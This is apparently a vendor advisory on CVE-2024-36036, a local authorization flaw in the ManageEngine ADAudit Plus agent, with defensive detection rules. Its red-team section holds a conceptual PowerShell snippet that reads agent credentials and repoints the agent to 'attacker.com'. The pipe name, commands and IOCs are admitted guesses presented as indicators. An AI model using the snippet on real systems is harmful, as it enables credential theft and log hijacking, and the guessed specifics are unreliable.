CVE-2024-36036

Executive Summary

CVE-2024-36036 is a local privilege escalation and information disclosure vulnerability in Zoho ManageEngine ADAudit Plus, affecting versions 7260 and below. An unauthorized local agent machine user can access sensitive information and modify the agent configuration. The vulnerability has a CVSS score of 4.2 (Medium), with an EPSS probability of 0.0%, indicating low exploitation likelihood in the wild. No public proof-of-concept (PoC) code or exploit is available at this time. The vendor has not yet released a patch.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone enterprise software product (Zoho ManageEngine ADAudit Plus) and does not involve a software supply chain component.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
• Base Score: 4.2 (Medium)
• Attack Vector: Local (AV:L) – The attacker must have local access to the agent machine.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: Low (PR:L) – The attacker needs a low-privileged user account on the agent machine.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: Low (C:L) – Limited information disclosure.
• Integrity Impact: Low (I:L) – Limited modification of agent configuration.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. The vulnerability requires local access, reducing the attack surface. However, if an attacker gains a foothold on an agent machine, they can extract sensitive data and tamper with agent settings, potentially leading to further compromise of the Active Directory environment.

Deep Dive & Mechanics

The vulnerability resides in the agent component of Zoho ManageEngine ADAudit Plus. The agent runs on domain-joined machines to collect audit logs and forward them to the central server. In affected versions (7260 and below), the agent does not properly enforce authorization checks for local users.

Root Cause: The agent exposes a local interface (likely a named pipe, local socket, or shared memory) that allows any local user to query sensitive information (e.g., server credentials, configuration details) and modify agent settings (e.g., server address, logging level). The agent fails to validate that the requesting user has administrative privileges or is the legitimate agent service account.

Attack Scenario:

1. An attacker gains low-privileged access to a domain-joined machine running the ADAudit Plus agent (e.g., via phishing, malware, or lateral movement).
2. The attacker interacts with the agent's local interface to retrieve sensitive data, such as the central server's credentials or Active Directory domain admin credentials stored in the agent configuration.
3. The attacker modifies the agent configuration to point to a rogue server, redirecting audit logs and potentially capturing more credentials.

Impact: Successful exploitation allows an attacker to escalate privileges from a local user to potentially domain-level access, depending on the credentials stored in the agent configuration.

Vulnerable vs. Patched Code

No patch is currently available. The vulnerable code is in the agent's local communication handler. A patched version would likely implement proper authentication and authorization checks, such as:

• Requiring the caller to have administrative privileges (e.g., check for membership in the local Administrators group).
• Using a secure token or session that is only available to the agent service.
• Encrypting sensitive data in transit over the local interface.

Vulnerable Code (Conceptual):

// Agent local API handler (vulnerable)
public void HandleRequest(Request req) {
    if (req.Type == "GetConfig") {
        // No authorization check
        return GetSensitiveConfig();
    }
    if (req.Type == "SetConfig") {
        // No authorization check
        ApplyConfig(req.Data);
    }
}

Patched Code (Conceptual):

// Agent local API handler (patched)
public void HandleRequest(Request req, WindowsIdentity caller) {
    if (!IsAdministrator(caller)) {
        throw new UnauthorizedAccessException();
    }
    if (req.Type == "GetConfig") {
        return GetSensitiveConfig();
    }
    if (req.Type == "SetConfig") {
        ApplyConfig(req.Data);
    }
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Local access to a machine running ADAudit Plus agent version <= 7260.
• A low-privileged user account on that machine.

Exploitation Steps:

1. Identify the agent's local communication endpoint (e.g., named pipe \\.\pipe\ADAuditPlusAgent).
2. Use a tool like PowerShell or a custom C# program to connect to the pipe and send a crafted request.
3. Retrieve sensitive configuration data (e.g., server credentials, domain admin password).
4. Modify the agent configuration to exfiltrate logs to an attacker-controlled server.

Example PowerShell Exploit (Conceptual):

# Connect to the agent's named pipe
$pipe = New-Object System.IO.Pipes.NamedPipeClientStream(".", "ADAuditPlusAgent")
$pipe.Connect()
$writer = New-Object System.IO.StreamWriter($pipe)
$reader = New-Object System.IO.StreamReader($pipe)

# Request sensitive configuration
$writer.WriteLine("GET_CONFIG")
$writer.Flush()
$config = $reader.ReadToEnd()
Write-Host "Sensitive config: $config"

# Modify configuration to point to rogue server
$writer.WriteLine("SET_CONFIG server=attacker.com:443")
$writer.Flush()

Blue Team

Detection:

• Monitor for unusual connections to the agent's named pipe (e.g., from non-service accounts).
• Look for processes (e.g., PowerShell, cmd.exe) accessing the pipe \\.\pipe\ADAuditPlusAgent.
• Alert on configuration changes to the ADAudit Plus agent (e.g., registry changes, file modifications).

Hunting:

• Search for Event ID 5140 (Windows Security Log) for named pipe access by non-privileged users.
• Check for unauthorized modifications to the agent configuration file (e.g., C:\Program Files\ManageEngine\ADAudit Plus\agent\conf\agent.conf).

Mitigation:

• Restrict local user permissions on agent machines.
• Use application whitelisting to prevent unauthorized tools from accessing the agent pipe.
• Monitor for anomalous outbound connections from agent machines to unknown servers.

Indicators of Compromise (IOCs)

• File: C:\Program Files\ManageEngine\ADAudit Plus\agent\conf\agent.conf (modified unexpectedly)
• Named Pipe: \\.\pipe\ADAuditPlusAgent (accessed by non-service accounts)
• Registry: HKLM\SOFTWARE\ManageEngine\ADAuditPlus\Agent (modified)
• Network: Outbound connections from agent machine to unknown IPs on port 443 or 8443 (default agent-server communication)
• Process: powershell.exe, cmd.exe, or custom binaries accessing the named pipe

Detection Engineering

YARA Rule

rule CVE_2024_36036_ADAuditPlus_Agent_Exploit {
    meta:
        description = "Detects attempts to exploit CVE-2024-36036 by accessing the ADAudit Plus agent named pipe"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-36036"
    strings:
        $pipe_name = "ADAuditPlusAgent" nocase
        $cmd_get = "GET_CONFIG" nocase
        $cmd_set = "SET_CONFIG" nocase
    condition:
        $pipe_name and ($cmd_get or $cmd_set)
}

Sigma Rule

title: CVE-2024-36036 - ADAudit Plus Agent Named Pipe Access
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects unauthorized access to the ADAudit Plus agent named pipe from non-service accounts
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-36036
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 5140
        ObjectName|contains: 'ADAuditPlusAgent'
    filter:
        SubjectUserName|endswith: '$'  # Exclude machine accounts (service accounts)
    condition: selection and not filter
falsepositives:
    - Legitimate administrative access for troubleshooting
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 443 (msg:"CVE-2024-36036 - ADAudit Plus Agent Exfiltration"; flow:to_server,established; content:"|00 00 00 00|"; depth:4; content:"GET_CONFIG"; nocase; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict Local Access: Ensure that only authorized administrators have interactive logon rights on machines running the ADAudit Plus agent.
2. Monitor Agent Configuration: Regularly audit the agent configuration file and registry for unauthorized changes.
3. Network Segmentation: Place agent machines in a separate VLAN with strict firewall rules to limit lateral movement.

Long-Term Fix:

• Apply the official patch from Zoho when released (currently UNKNOWN).
• Upgrade to a version above 7260 once available.

Workaround:

• Disable the agent's local API if possible (check vendor documentation).
• Use Group Policy to restrict access to the named pipe \\.\pipe\ADAuditPlusAgent to only the service account.

Valters IT
Securing Your Digital Frontier